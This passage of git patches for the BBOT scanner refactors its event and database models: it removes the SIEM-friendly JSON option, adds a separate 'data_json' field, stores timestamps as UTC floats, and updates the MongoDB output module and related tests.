[]))) - constraint_file = tempwordlist(get_python_constraints()) +# constraint_file = tempwordlist(get_python_constraints()) - subprocess.run([sys.executable, "-m", "pip", "install", "--constraint", constraint_file] + list(deps_pip)) +# subprocess.run([sys.executable, "-m", "pip", "install", "--constraint", constraint_file] + list(deps_pip)) diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index 5a6fce547c..d29e7e79a8 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -28,15 +28,12 @@ def test_pydantic_models(events): event_json = e.json() event_pydantic = Event(**event_json) event_pydantic_dict = event_pydantic.model_dump() - event_pydantic_dict_datetime = event_pydantic.model_dump(preserve_datetime=True) - assert isinstance(event_json["timestamp"], str) + assert isinstance(event_json["timestamp"], float) assert isinstance(e.timestamp, datetime) assert isinstance(event_pydantic.timestamp, datetime) assert not "inserted_at" in event_json - assert isinstance(event_pydantic_dict["timestamp"], str) - assert isinstance(event_pydantic_dict["inserted_at"], str) - assert isinstance(event_pydantic_dict_datetime["timestamp"], datetime) - assert isinstance(event_pydantic_dict_datetime["inserted_at"], datetime) + assert isinstance(event_pydantic_dict["timestamp"], float) + assert isinstance(event_pydantic_dict["inserted_at"], float) assert event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host", "inserted_at"]) == event_json diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 8156fc7969..5c6dedad8a 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -494,7 +494,7 @@ async def test_events(events, helpers): assert db_event.parent_chain[0] == str(db_event.uuid) assert db_event.parent.uuid == scan.root_event.uuid assert db_event.parent_uuid == scan.root_event.uuid - timestamp = db_event.timestamp.isoformat() + timestamp = db_event.timestamp.replace(tzinfo=None).timestamp() json_event = db_event.json() assert isinstance(json_event["uuid"], str) assert json_event["uuid"] == str(db_event.uuid) @@ -515,7 +515,7 @@ async def test_events(events, helpers): assert reconstituted_event.uuid == db_event.uuid assert reconstituted_event.parent_uuid == scan.root_event.uuid assert reconstituted_event.scope_distance == 1 - assert reconstituted_event.timestamp.isoformat() == timestamp + assert reconstituted_event.timestamp.timestamp() == timestamp assert reconstituted_event.data == "evilcorp.com:80" assert reconstituted_event.type == "OPEN_TCP_PORT" assert reconstituted_event.host == "evilcorp.com" @@ -538,7 +538,7 @@ async def test_events(events, helpers): assert json_event_siemfriendly["timestamp"] == timestamp reconstituted_event2 = event_from_json(json_event_siemfriendly, siem_friendly=True) assert reconstituted_event2.scope_distance == 1 - assert reconstituted_event2.timestamp.isoformat() == timestamp + assert reconstituted_event2.timestamp.timestamp() == timestamp assert reconstituted_event2.data == "evilcorp.com:80" assert reconstituted_event2.type == "OPEN_TCP_PORT" assert reconstituted_event2.host == "evilcorp.com" From 10834a064d71cb554e73c590b242e51d0c496073 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 19:14:15 -0500 Subject: [PATCH 030/912] remove siem_friendly --- bbot/core/event/base.py | 18 +++++++--------- bbot/models/pydantic.py | 14 ++++++++----- bbot/models/sql.py | 21 +++++++------------ bbot/modules/output/http.py | 5 +---- bbot/modules/output/json.py | 6 ++---- bbot/modules/output/mongo.py | 8 +++++++ bbot/test/test_step_1/test_events.py | 21 +++++-------------- .../module_tests/test_module_http.py | 9 -------- .../module_tests/test_module_json.py | 15 ------------- .../module_tests/test_module_mongo.py | 20 +++++++++++++----- docs/scanning/tips_and_tricks.md | 18 ---------------- 11 files changed, 55 insertions(+), 100 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index ebaac46618..715afea69f 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -756,7 +756,7 @@ def __contains__(self, other): return bool(radixtarget.search(other.host)) return False - def json(self, mode="json", siem_friendly=False): + def json(self, mode="json"): """ Serializes the event object to a JSON-compatible dictionary. @@ -765,7 +765,6 @@ def json(self, mode="json", siem_friendly=False): Parameters: mode (str): Specifies the data serialization mode. Default is "json". Other options include "graph", "human", and "id". - siem_friendly (bool): Whether to format the JSON in a way that's friendly to SIEM ingestion by Elastic, Splunk, etc. This ensures the value of "data" is always the same type (a dictionary). Returns: dict: JSON-serializable dictionary representation of the event object. @@ -782,10 +781,12 @@ def json(self, mode="json", siem_friendly=False): data = data_attr else: data = smart_decode(self.data) - if siem_friendly: - j["data"] = {self.type: data} - else: + if isinstance(data, str): j["data"] = data + elif isinstance(data, dict): + j["data_json"] = data + else: + raise ValueError(f"Invalid data type: {type(data)}") # host, dns children if self.host: j["host"] = str(self.host) @@ -1725,7 +1726,7 @@ def make_event( ) -def event_from_json(j, siem_friendly=False): +def event_from_json(j): """ Creates an event object from a JSON dictionary. @@ -1757,10 +1758,7 @@ def event_from_json(j, siem_friendly=False): "context": j.get("discovery_context", None), "dummy": True, } - if siem_friendly: - data = j["data"][event_type] - else: - data = j["data"] + data = j.get("data_json", j.get("data", None)) kwargs["data"] = data event = make_event(**kwargs) event_uuid = j.get("uuid", None) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 388d85f05f..0591a93515 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -57,13 +57,13 @@ def _datetime_fields(cls): ### EVENT ### - class Event(BBOTBaseModel): uuid: Annotated[str, "indexed", "unique"] id: Annotated[str, "indexed"] type: Annotated[str, "indexed"] scope_description: str - data: Union[dict, str] + data: Annotated[Optional[str], "indexed"] = None + data_json: Optional[dict] = None host: Annotated[Optional[str], "indexed"] = None port: Optional[int] = None netloc: Optional[str] = None @@ -75,8 +75,8 @@ class Event(BBOTBaseModel): web_spider_distance: int = 10 scope_distance: int = 10 scan: Annotated[str, "indexed"] - timestamp: Annotated[NaiveUTC, "indexed"] - inserted_at: Optional[Annotated[NaiveUTC, "indexed"]] = Field(default_factory=naive_utc_now) + timestamp: Annotated[float, "indexed"] + inserted_at: Annotated[Optional[float], "indexed"] = Field(default_factory=naive_utc_now) parent: Annotated[str, "indexed"] parent_uuid: Annotated[str, "indexed"] tags: List = [] @@ -91,9 +91,13 @@ def __init__(self, **data): if self.host: self.reverse_host = self.host[::-1] + def get_data(self): + if self.data is not None: + return self.data + return self.data_json -### SCAN ### +### SCAN ### class Scan(BBOTBaseModel): id: Annotated[str, "indexed", "unique"] diff --git a/bbot/models/sql.py b/bbot/models/sql.py index d6e7656108..9c5c8ef11a 100644 --- a/bbot/models/sql.py +++ b/bbot/models/sql.py @@ -67,24 +67,18 @@ def __eq__(self, other): ### EVENT ### - class Event(BBOTBaseModel, table=True): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) - data = self._get_data(self.data, self.type) - self.data = {self.type: data} + if self.data is None and self.data_json is None: + raise ValueError("data or data_json must be provided") if self.host: self.reverse_host = self.host[::-1] def get_data(self): - return self._get_data(self.data, self.type) - - @staticmethod - def _get_data(data, type): - # handle SIEM-friendly format - if isinstance(data, dict) and list(data) == [type]: - return data[type] - return data + if self.data is not None: + return self.data + return self.data_json uuid: str = Field( primary_key=True, @@ -94,7 +88,8 @@ def _get_data(data, type): id: str = Field(index=True) type: str = Field(index=True) scope_description: str - data: dict = Field(sa_type=JSON) + data: Optional[str] = Field(default=None, index=True) + data_json: Optional[dict] = Field(default=None) host: Optional[str] port: Optional[int] netloc: Optional[str] @@ -118,7 +113,6 @@ def _get_data(data, type): ### SCAN ### - class Scan(BBOTBaseModel, table=True): id: str = Field(primary_key=True) name: str @@ -133,7 +127,6 @@ class Scan(BBOTBaseModel, table=True): ### TARGET ### - class Target(BBOTBaseModel, table=True): name: str = "Default Target" strict_scope: bool = False diff --git a/bbot/modules/output/http.py b/bbot/modules/output/http.py index 9d9241da0b..7d94148d72 100644 --- a/bbot/modules/output/http.py +++ b/bbot/modules/output/http.py @@ -15,7 +15,6 @@ class HTTP(BaseOutputModule): "username": "", "password": "", "timeout": 10, - "siem_friendly": False, } options_desc = { "url": "Web URL", @@ -24,14 +23,12 @@ class HTTP(BaseOutputModule): "username": "Username (basic auth)", "password": "Password (basic auth)", "timeout": "HTTP timeout", - "siem_friendly": "Format JSON in a SIEM-friendly way for ingestion into Elastic, Splunk, etc.", } async def setup(self): self.url = self.config.get("url", "") self.method = self.config.get("method", "POST") self.timeout = self.config.get("timeout", 10) - self.siem_friendly = self.config.get("siem_friendly", False) self.headers = {} bearer = self.config.get("bearer", "") if bearer: @@ -56,7 +53,7 @@ async def handle_event(self, event): method=self.method, auth=self.auth, headers=self.headers, - json=event.json(siem_friendly=self.siem_friendly), + json=event.json(), ) is_success = False if response is None else response.is_success if not is_success: diff --git a/bbot/modules/output/json.py b/bbot/modules/output/json.py index a35fa6aed7..b93d1e4e3f 100644 --- a/bbot/modules/output/json.py +++ b/bbot/modules/output/json.py @@ -11,20 +11,18 @@ class JSON(BaseOutputModule): "created_date": "2022-04-07", "author": "@TheTechromancer", } - options = {"output_file": "", "siem_friendly": False} + options = {"output_file": ""} options_desc = { "output_file": "Output to file", - "siem_friendly": "Output JSON in a SIEM-friendly format for ingestion into Elastic, Splunk, etc.", } _preserve_graph = True async def setup(self): self._prep_output_dir("output.json") - self.siem_friendly = self.config.get("siem_friendly", False) return True async def handle_event(self, event): - event_json = event.json(siem_friendly=self.siem_friendly) + event_json = event.json() event_str = json.dumps(event_json) if self.file is not None: self.file.write(event_str + "\n") diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index 03185b169c..5e555ab0ff 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -71,3 +71,11 @@ async def handle_event(self, event): # Insert as a new scan if no existing scan is found await self.scans_collection.insert_one(event_pydantic.model_dump()) self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") + + target_data = scan_json.get("target", {}) + target = Target(**target_data) + existing_target = await self.targets_collection.find_one({"uuid": target.uuid}) + if existing_target: + await self.targets_collection.replace_one({"uuid": target.uuid}, target.model_dump()) + else: + await self.targets_collection.insert_one(target.model_dump()) diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 5c6dedad8a..a940dbce06 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -529,28 +529,17 @@ async def test_events(events, helpers): assert hostless_event_json["data"] == "asdf" assert not "host" in hostless_event_json - # SIEM-friendly serialize/deserialize - json_event_siemfriendly = db_event.json(siem_friendly=True) - assert json_event_siemfriendly["scope_distance"] == 1 - assert json_event_siemfriendly["data"] == {"OPEN_TCP_PORT": "evilcorp.com:80"} - assert json_event_siemfriendly["type"] == "OPEN_TCP_PORT" - assert json_event_siemfriendly["host"] == "evilcorp.com" - assert json_event_siemfriendly["timestamp"] == timestamp - reconstituted_event2 = event_from_json(json_event_siemfriendly, siem_friendly=True) - assert reconstituted_event2.scope_distance == 1 - assert reconstituted_event2.timestamp.timestamp() == timestamp - assert reconstituted_event2.data == "evilcorp.com:80" - assert reconstituted_event2.type == "OPEN_TCP_PORT" - assert reconstituted_event2.host == "evilcorp.com" - assert "127.0.0.1" in reconstituted_event2.resolved_hosts - http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event) assert http_response.parent_id == scan.root_event.id assert http_response.data["input"] == "http://example.com:80" json_event = http_response.json(mode="graph") + assert "data" in json_event + assert "data_json" not in json_event assert isinstance(json_event["data"], str) json_event = http_response.json() - assert isinstance(json_event["data"], dict) + assert "data" not in json_event + assert "data_json" in json_event + assert isinstance(json_event["data_json"], dict) assert json_event["type"] == "HTTP_RESPONSE" assert json_event["host"] == "example.com" assert json_event["parent"] == scan.root_event.id diff --git a/bbot/test/test_step_2/module_tests/test_module_http.py b/bbot/test/test_step_2/module_tests/test_module_http.py index 43b7189adf..d634765425 100644 --- a/bbot/test/test_step_2/module_tests/test_module_http.py +++ b/bbot/test/test_step_2/module_tests/test_module_http.py @@ -52,12 +52,3 @@ def check(self, module_test, events): assert self.headers_correct == True assert self.method_correct == True assert self.url_correct == True - - -class TestHTTPSIEMFriendly(TestHTTP): - modules_overrides = ["http"] - config_overrides = {"modules": {"http": dict(TestHTTP.config_overrides["modules"]["http"])}} - config_overrides["modules"]["http"]["siem_friendly"] = True - - def verify_data(self, j): - return j["data"] == {"DNS_NAME": "blacklanternsecurity.com"} and j["type"] == "DNS_NAME" diff --git a/bbot/test/test_step_2/module_tests/test_module_json.py b/bbot/test/test_step_2/module_tests/test_module_json.py index 27ed5a55e0..bf79eeb13f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_json.py +++ b/bbot/test/test_step_2/module_tests/test_module_json.py @@ -53,18 +53,3 @@ def check(self, module_test, events): assert dns_reconstructed.discovery_context == context_data assert dns_reconstructed.discovery_path == [context_data] assert dns_reconstructed.parent_chain == [dns_json["uuid"]] - - -class TestJSONSIEMFriendly(ModuleTestBase): - modules_overrides = ["json"] - config_overrides = {"modules": {"json": {"siem_friendly": True}}} - - def check(self, module_test, events): - txt_file = module_test.scan.home / "output.json" - lines = list(module_test.scan.helpers.read_file(txt_file)) - passed = False - for line in lines: - e = json.loads(line) - if e["data"] == {"DNS_NAME": "blacklanternsecurity.com"}: - passed = True - assert passed diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py index 31e7f70747..fcfed7841a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mongo.py +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -72,12 +72,16 @@ async def check(self, module_test, events): db = client[self.test_db_name] events_collection = db.get_collection(self.test_collection_prefix + "events") + ### INDEXES ### + # make sure the collection has all the right indexes cursor = events_collection.list_indexes() indexes = await cursor.to_list(length=None) for field in Event._indexed_fields(): assert any(field in index["key"] for index in indexes), f"Index for {field} not found" + ### EVENTS ### + # Fetch all events from the collection cursor = events_collection.find({}) db_events = await cursor.to_list(length=None) @@ -86,11 +90,8 @@ async def check(self, module_test, events): assert len(events_json) == len(db_events) for db_event in db_events: - # we currently don't store timestamps as datetime objects because mongodb has lower precision - # assert isinstance(db_event["timestamp"], datetime) - # assert isinstance(db_event["inserted_at"], datetime) - assert isinstance(db_event["timestamp"], str) - assert isinstance(db_event["inserted_at"], str) + assert isinstance(db_event["timestamp"], float) + assert isinstance(db_event["inserted_at"], float) # Convert to Pydantic objects and dump them db_events_pydantic = [Event(**e).model_dump(exclude_none=True) for e in db_events] @@ -121,6 +122,15 @@ async def check(self, module_test, events): # They should match after removing reverse_host assert events_json == db_events_pydantic, "Events do not match" + ### SCANS ### + + # Fetch all scans from the collection + cursor = db.get_collection(self.test_collection_prefix + "scans").find({}) + db_scans = await cursor.to_list(length=None) + assert len(db_scans) == 1, "There should be exactly one scan" + db_scan = db_scans[0] + assert db_scan["scan"]["id"] == main_event["scan"], "Scan id should match main event scan" + finally: # Clean up: Delete all documents in the collection await events_collection.delete_many({}) diff --git a/docs/scanning/tips_and_tricks.md b/docs/scanning/tips_and_tricks.md index c5073c1d63..e13d82875e 100644 --- a/docs/scanning/tips_and_tricks.md +++ b/docs/scanning/tips_and_tricks.md @@ -108,24 +108,6 @@ config: bbot -t evilcorp.com -p skip_cdns.yml ``` -### Ingest BBOT Data Into SIEM (Elastic, Splunk) - -If your goal is to run a BBOT scan and later feed its data into a SIEM such as Elastic, be sure to enable this option when scanning: - -```bash -bbot -t evilcorp.com -c modules.json.siem_friendly=true -``` - -This ensures the `.data` event attribute is always the same type (a dictionary), by nesting it like so: -```json -{ - "type": "DNS_NAME", - "data": { - "DNS_NAME": "blacklanternsecurity.com" - } -} -``` - ### Custom HTTP Proxy Web pentesters may appreciate BBOT's ability to quickly populate Burp Suite site maps for all subdomains in a target. If your scan includes gowitness, this will capture the traffic as if you manually visited each website in your browser -- including auxiliary web resources and javascript API calls. To accomplish this, set the `web.http_proxy` config option like so: From 5179013a4936d3b0bb663fbf8767839ef4830006 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 20:00:28 -0500 Subject: [PATCH 031/912] steady work on mongo, bbot 3.0 --- bbot/core/event/base.py | 7 +- bbot/models/helpers.py | 20 +++--- bbot/models/pydantic.py | 71 +++++++++---------- bbot/models/sql.py | 27 +++---- bbot/modules/output/mongo.py | 16 ++--- bbot/scanner/scanner.py | 12 ++-- bbot/test/bbot_fixtures.py | 14 ++-- bbot/test/test_step_1/test_db_models.py | 25 ++++++- bbot/test/test_step_1/test_events.py | 2 +- .../module_tests/test_module_mongo.py | 12 +++- .../module_tests/test_module_sqlite.py | 14 ++++ 11 files changed, 128 insertions(+), 92 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 715afea69f..64595680ae 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -12,6 +12,7 @@ from copy import copy from pathlib import Path from typing import Optional +from zoneinfo import ZoneInfo from contextlib import suppress from radixtarget import RadixTarget from urllib.parse import urljoin, parse_qs @@ -40,7 +41,7 @@ validators, get_file_extension, ) -from bbot.models.helpers import naive_datetime_validator +from bbot.models.helpers import utc_datetime_validator log = logging.getLogger("bbot.core.event") @@ -804,7 +805,7 @@ def json(self, mode="json"): if self.scan: j["scan"] = self.scan.id # timestamp - j["timestamp"] = naive_datetime_validator(self.timestamp).timestamp() + j["timestamp"] = utc_datetime_validator(self.timestamp).timestamp() # parent event parent_id = self.parent_id if parent_id: @@ -1770,7 +1771,7 @@ def event_from_json(j): # accept both isoformat and unix timestamp try: - event.timestamp = datetime.datetime.fromtimestamp(j["timestamp"]) + event.timestamp = datetime.datetime.fromtimestamp(j["timestamp"], ZoneInfo("UTC")) except Exception: event.timestamp = datetime.datetime.fromisoformat(j["timestamp"]) event.scope_distance = j["scope_distance"] diff --git a/bbot/models/helpers.py b/bbot/models/helpers.py index 985c845994..c7fc078a45 100644 --- a/bbot/models/helpers.py +++ b/bbot/models/helpers.py @@ -1,20 +1,22 @@ +from datetime import UTC from datetime import datetime from typing_extensions import Annotated from pydantic.functional_validators import AfterValidator -def naive_datetime_validator(d: datetime) -> datetime: +def utc_datetime_validator(d: datetime) -> datetime: """ - Converts all dates into UTC, then drops timezone information. - - This is needed to prevent inconsistencies in sqlite, because it is timezone-naive. + Converts all dates into UTC """ - # drop timezone info - return d.replace(tzinfo=None) + if d.tzinfo is not None: + return d.astimezone(UTC) + else: + return d.replace(tzinfo=UTC) -def naive_utc_now() -> datetime: - return naive_datetime_validator(datetime.now()) +def utc_now() -> datetime: + return datetime.now(UTC) -NaiveUTC = Annotated[datetime, AfterValidator(naive_datetime_validator)] +def utc_now_timestamp() -> datetime: + return utc_now().timestamp() diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 0591a93515..356ab2e44c 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -1,9 +1,8 @@ import logging -from datetime import datetime from pydantic import BaseModel, ConfigDict, Field -from typing import Optional, List, Union, Annotated, get_type_hints +from typing import Optional, List, Union, Annotated -from bbot.models.helpers import NaiveUTC, naive_utc_now +from bbot.models.helpers import utc_now_timestamp log = logging.getLogger("bbot_server.models") @@ -11,14 +10,6 @@ class BBOTBaseModel(BaseModel): model_config = ConfigDict(extra="ignore") - def model_dump(self, **kwargs): - ret = super().model_dump(**kwargs) - # convert datetime fields to unix timestamps - for datetime_field in self._datetime_fields(): - if datetime_field in ret: - ret[datetime_field] = ret[datetime_field].timestamp() - return ret - def __hash__(self): return hash(self.to_json()) @@ -29,34 +20,37 @@ def __eq__(self, other): def _indexed_fields(cls): return sorted(field_name for field_name, field in cls.model_fields.items() if "indexed" in field.metadata) - @classmethod - def _get_type_hints(cls): - """ - Drills down past all the Annotated, Optional, and Union layers to get the underlying type hint - """ - type_hints = get_type_hints(cls) - unwrapped_type_hints = {} - for field_name in cls.model_fields: - type_hint = type_hints[field_name] - while 1: - if getattr(type_hint, "__origin__", None) in (Annotated, Optional, Union): - type_hint = type_hint.__args__[0] - else: - break - unwrapped_type_hints[field_name] = type_hint - return unwrapped_type_hints - - @classmethod - def _datetime_fields(cls): - datetime_fields = [] - for field_name, type_hint in cls._get_type_hints().items(): - if type_hint == datetime: - datetime_fields.append(field_name) - return sorted(datetime_fields) + # we keep these because they were a lot of work to make and maybe someday they'll be useful again + + # @classmethod + # def _get_type_hints(cls): + # """ + # Drills down past all the Annotated, Optional, and Union layers to get the underlying type hint + # """ + # type_hints = get_type_hints(cls) + # unwrapped_type_hints = {} + # for field_name in cls.model_fields: + # type_hint = type_hints[field_name] + # while 1: + # if getattr(type_hint, "__origin__", None) in (Annotated, Optional, Union): + # type_hint = type_hint.__args__[0] + # else: + # break + # unwrapped_type_hints[field_name] = type_hint + # return unwrapped_type_hints + + # @classmethod + # def _datetime_fields(cls): + # datetime_fields = [] + # for field_name, type_hint in cls._get_type_hints().items(): + # if type_hint == datetime: + # datetime_fields.append(field_name) + # return sorted(datetime_fields) ### EVENT ### + class Event(BBOTBaseModel): uuid: Annotated[str, "indexed", "unique"] id: Annotated[str, "indexed"] @@ -76,7 +70,7 @@ class Event(BBOTBaseModel): scope_distance: int = 10 scan: Annotated[str, "indexed"] timestamp: Annotated[float, "indexed"] - inserted_at: Annotated[Optional[float], "indexed"] = Field(default_factory=naive_utc_now) + inserted_at: Annotated[Optional[float], "indexed"] = Field(default_factory=utc_now_timestamp) parent: Annotated[str, "indexed"] parent_uuid: Annotated[str, "indexed"] tags: List = [] @@ -99,12 +93,13 @@ def get_data(self): ### SCAN ### + class Scan(BBOTBaseModel): id: Annotated[str, "indexed", "unique"] name: str status: Annotated[str, "indexed"] - started_at: Annotated[NaiveUTC, "indexed"] - finished_at: Optional[Annotated[NaiveUTC, "indexed"]] = None + started_at: Annotated[float, "indexed"] + finished_at: Annotated[Optional[float], "indexed"] = None duration_seconds: Optional[float] = None duration: Optional[str] = None target: dict diff --git a/bbot/models/sql.py b/bbot/models/sql.py index 9c5c8ef11a..82ccdb1f6f 100644 --- a/bbot/models/sql.py +++ b/bbot/models/sql.py @@ -3,13 +3,15 @@ import json import logging +from datetime import datetime from pydantic import ConfigDict from typing import List, Optional -from datetime import datetime, timezone from typing_extensions import Annotated from pydantic.functional_validators import AfterValidator from sqlmodel import inspect, Column, Field, SQLModel, JSON, String, DateTime as SQLADateTime +from bbot.models.helpers import utc_now_timestamp + log = logging.getLogger("bbot_server.models") @@ -27,14 +29,6 @@ def naive_datetime_validator(d: datetime): NaiveUTC = Annotated[datetime, AfterValidator(naive_datetime_validator)] -class CustomJSONEncoder(json.JSONEncoder): - def default(self, obj): - # handle datetime - if isinstance(obj, datetime): - return obj.isoformat() - return super().default(obj) - - class BBOTBaseModel(SQLModel): model_config = ConfigDict(extra="ignore") @@ -52,7 +46,7 @@ def validated(self): return self def to_json(self, **kwargs): - return json.dumps(self.validated.model_dump(), sort_keys=True, cls=CustomJSONEncoder, **kwargs) + return json.dumps(self.validated.model_dump(), sort_keys=True, **kwargs) @classmethod def _pk_column_names(cls): @@ -67,11 +61,10 @@ def __eq__(self, other): ### EVENT ### + class Event(BBOTBaseModel, table=True): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) - if self.data is None and self.data_json is None: - raise ValueError("data or data_json must be provided") if self.host: self.reverse_host = self.host[::-1] @@ -87,12 +80,12 @@ def get_data(self): ) id: str = Field(index=True) type: str = Field(index=True) - scope_description: str data: Optional[str] = Field(default=None, index=True) - data_json: Optional[dict] = Field(default=None) + data_json: Optional[dict] = Field(default=None, sa_type=JSON) host: Optional[str] port: Optional[int] netloc: Optional[str] + scope_description: str # store the host in reversed form for efficient lookups by domain reverse_host: Optional[str] = Field(default="", exclude=True, index=True) resolved_hosts: List = Field(default=[], sa_type=JSON) @@ -100,7 +93,8 @@ def get_data(self): web_spider_distance: int = 10 scope_distance: int = Field(default=10, index=True) scan: str = Field(index=True) - timestamp: NaiveUTC = Field(index=True) + timestamp: float = Field(index=True) + inserted_at: float = Field(default_factory=utc_now_timestamp) parent: str = Field(index=True) tags: List = Field(default=[], sa_type=JSON) module: str = Field(index=True) @@ -108,11 +102,11 @@ def get_data(self): discovery_context: str = "" discovery_path: List[str] = Field(default=[], sa_type=JSON) parent_chain: List[str] = Field(default=[], sa_type=JSON) - inserted_at: NaiveUTC = Field(default_factory=lambda: datetime.now(timezone.utc)) ### SCAN ### + class Scan(BBOTBaseModel, table=True): id: str = Field(primary_key=True) name: str @@ -127,6 +121,7 @@ class Scan(BBOTBaseModel, table=True): ### TARGET ### + class Target(BBOTBaseModel, table=True): name: str = "Default Target" strict_scope: bool = False diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index 5e555ab0ff..6ad16620f6 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -23,7 +23,7 @@ class Mongo(BaseOutputModule): "database": "The name of the database to use", "username": "The username to use to connect to the database", "password": "The password to use to connect to the database", - "collection_prefix": "Prefix each collection with this string", + "collection_prefix": "Prefix the name of each collection with this string", } deps_pip = ["motor~=3.6.0"] @@ -62,20 +62,20 @@ async def handle_event(self, event): await self.events_collection.insert_one(event_pydantic.model_dump()) if event.type == "SCAN": - scan_json = Scan.from_event(event).model_dump() - existing_scan = await self.scans_collection.find_one({"uuid": event_pydantic.uuid}) + scan_json = Scan(**event.data_json).model_dump() + existing_scan = await self.scans_collection.find_one({"id": event_pydantic.id}) if existing_scan: - await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, scan_json) - self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") + await self.scans_collection.replace_one({"id": event_pydantic.id}, scan_json) + self.verbose(f"Updated scan event with ID: {event_pydantic.id}") else: # Insert as a new scan if no existing scan is found await self.scans_collection.insert_one(event_pydantic.model_dump()) - self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") + self.verbose(f"Inserted new scan event with ID: {event_pydantic.id}") target_data = scan_json.get("target", {}) target = Target(**target_data) - existing_target = await self.targets_collection.find_one({"uuid": target.uuid}) + existing_target = await self.targets_collection.find_one({"hash": target.hash}) if existing_target: - await self.targets_collection.replace_one({"uuid": target.uuid}, target.model_dump()) + await self.targets_collection.replace_one({"hash": target.hash}, target.model_dump()) else: await self.targets_collection.insert_one(target.model_dump()) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 62e5c9d3ab..a5b04bc2c7 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -6,7 +6,7 @@ import regex as re from pathlib import Path from sys import exc_info -from datetime import datetime +from datetime import datetime, UTC from collections import OrderedDict from bbot import __version__ @@ -327,8 +327,8 @@ async def async_start_without_generator(self): async def async_start(self): """ """ - self.start_time = datetime.now() - self.root_event.data["started_at"] = self.start_time.isoformat() + self.start_time = datetime.now(UTC) + self.root_event.data["started_at"] = self.start_time.timestamp() try: await self._prep() @@ -436,7 +436,7 @@ async def _mark_finished(self): else: status = "FINISHED" - self.end_time = datetime.now() + self.end_time = datetime.now(UTC) self.duration = self.end_time - self.start_time self.duration_seconds = self.duration.total_seconds() self.duration_human = self.helpers.human_timedelta(self.duration) @@ -1130,9 +1130,9 @@ def json(self): j["target"] = self.preset.target.json j["preset"] = self.preset.to_dict(redact_secrets=True) if self.start_time is not None: - j["started_at"] = self.start_time.isoformat() + j["started_at"] = self.start_time.timestamp() if self.end_time is not None: - j["finished_at"] = self.end_time.isoformat() + j["finished_at"] = self.end_time.timestamp() if self.duration is not None: j["duration_seconds"] = self.duration_seconds if self.duration_human is not None: diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 229c58a290..4d73d036c1 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -254,12 +254,12 @@ class bbot_events: return bbot_events -# @pytest.fixture(scope="session", autouse=True) -# def install_all_python_deps(): -# deps_pip = set() -# for module in DEFAULT_PRESET.module_loader.preloaded().values(): -# deps_pip.update(set(module.get("deps", {}).get("pip", []))) +@pytest.fixture(scope="session", autouse=True) +def install_all_python_deps(): + deps_pip = set() + for module in DEFAULT_PRESET.module_loader.preloaded().values(): + deps_pip.update(set(module.get("deps", {}).get("pip", []))) -# constraint_file = tempwordlist(get_python_constraints()) + constraint_file = tempwordlist(get_python_constraints()) -# subprocess.run([sys.executable, "-m", "pip", "install", "--constraint", constraint_file] + list(deps_pip)) + subprocess.run([sys.executable, "-m", "pip", "install", "--constraint", constraint_file] + list(deps_pip)) diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index d29e7e79a8..a8088be4f2 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -1,11 +1,23 @@ -from datetime import datetime +from datetime import datetime, UTC +from zoneinfo import ZoneInfo from bbot.models.pydantic import Event +from bbot.core.event.base import BaseEvent +from bbot.models.helpers import utc_datetime_validator from ..bbot_fixtures import * # noqa def test_pydantic_models(events): + # test datetime helpers + now = datetime.now(ZoneInfo("America/New_York")) + utc_now = utc_datetime_validator(now) + assert now.timestamp() == utc_now.timestamp() + now2 = datetime.fromtimestamp(utc_now.timestamp(), UTC) + assert now2.timestamp() == utc_now.timestamp() + utc_now2 = utc_datetime_validator(now2) + assert utc_now2.timestamp() == utc_now.timestamp() + assert Event._datetime_fields() == ["inserted_at", "timestamp"] test_event = Event(**events.ipv4.json()) @@ -23,18 +35,25 @@ def test_pydantic_models(events): ] # convert events to pydantic and back, making sure they're exactly the same - for event in ("http_response", "finding", "vulnerability", "ipv4", "storage_bucket"): + for event in ("ipv4", "http_response", "finding", "vulnerability", "storage_bucket"): e = getattr(events, event) event_json = e.json() event_pydantic = 